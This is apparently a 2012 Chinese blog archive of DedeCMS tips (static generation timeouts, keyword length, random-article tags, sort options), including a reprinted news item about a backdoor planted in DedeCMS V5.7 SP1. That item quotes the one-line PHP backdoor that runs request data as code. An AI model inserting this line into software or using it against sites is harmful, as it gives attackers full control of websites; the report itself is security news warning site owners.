dede 文章列表生成静态时超时

文章数据较多时,就容易出现这个错误。今天试着把默认的每页最大生成数量“50”改为30后,静态页面顺利生成。谨记之。
post by donglaifu.com | 2012年3月26日 | 归档于 [dede]

Dedecms被曝疑似植入后门 可成功控制网站

来自: 站长之家
 昨日,乌云漏洞平台发布最新报告称,著名开源建站软件Dedecms V5.7 SP1正式版被植入后门,通过该后门可成功入侵并控制使用dedecms的网站。

点击查看原图

据乌云报告,被植入的后门是在/include/shopcar.class.php文件中,被植入的代码为@eval(file_get_contents(‘php://input’));,乌云介绍称,通过该后门可成功入侵dedecms网站。有网友对植入的该后门予以证实,称其在2012-3-18 19:08下载的DedeCMS-V5.7-UTF8-SP1.tar.gz 有此代码。

据了解,@eval(file_get_contents(‘php://input’));是将请求的数据流作为脚本语言执行,通过该后门,可以上传PHP后门来控制整个网站。使用Dedecms V5.7 SP1正式版建站的站长,需立即对后门代码进行删除,以保护网站安全。

Dedecms是一款开源建站软件,其最早是由IT柏拉图个人开发,并在2007年进行了公司化运作。目前,国内有不少网站都使用了Dedecms系统,不过在Dedecms创始人IT柏拉图的离开后,Dedecms屡次被曝出安全漏洞问题。截至发稿,Dedecms官方尚未对该漏洞进行任何回应。

post by donglaifu.com | 2012年3月22日 | 归档于 [dede]

DEDECMS采集关键词不完整的解决方法

DEDECMS采集关键词不完整的解决方法


 找到 include\collection.class.php 这个文件

 在716行  $keywords = trim(cn_substr(html2text($inarr[1]),30));

 当中的 30 改为你想要的长度就好了!!!
post by donglaifu.com | 2012年3月17日 | 归档于 [dede]

织梦dedecms 随机文章的调用方法

dedecms是生成静态页面的,如果你在模板中使用orderby=rand 的话,生成html后始终是现实已经生成的那几条文章,除非你重新生成一遍,可以通过dedecms的自定义宏标记来实现刷新生成html的页面生成随机文章的调用

{dede:sql sql='Select `id` , `title` from dede_archives where mid=1 order by rand() limit 10'}
<li><a href='/plus/view.php?aid=[field:id/]' target='_blank'>[field:title/]</a></li>
{/dede:sql}

  将你需要随机生成的那段代码加入到新建自定义宏中,然后使用JS调用,将JS代码插入到模板中

<script src='/plus/mytag_js.php?aid=1&nocache=1' language='javascript'></script>

注意 ,通过后台的JS调用生成的JS代码是没有nocache=1这个好像是控制JS缓存的,如果不加上nocache=1的话,Dede5.7是不能随机现实文章的

  加入nocache=1后 你生成HTML页面后,通过JS调用的那段代码会变成真正的随机调用,每次刷新调用的内容都是随机的

post by donglaifu.com | 2012年3月7日 | 归档于 [dede]

dedecms列表页文章自定义排序方法

 

orderby='sortrank' 文档排序方式
orderby='hot' 或 orderby='click' 表示按点击数排列
orderby='sortrank' 或 orderby='pubdate' 按出版时间排列
orderby='near'
orderby=='lastpost' 按最后评论时间
orderby=='scores' 按得分排序
orderby='id' 按文章ID排序
orderby='rand' 随机获得指定条件的文档列表

选择您自己中意的排列方法加在list_article.htm里的 {dede:list pagesize='20'}中,如:
post by donglaifu.com | 2012年2月27日 | 归档于 [dede]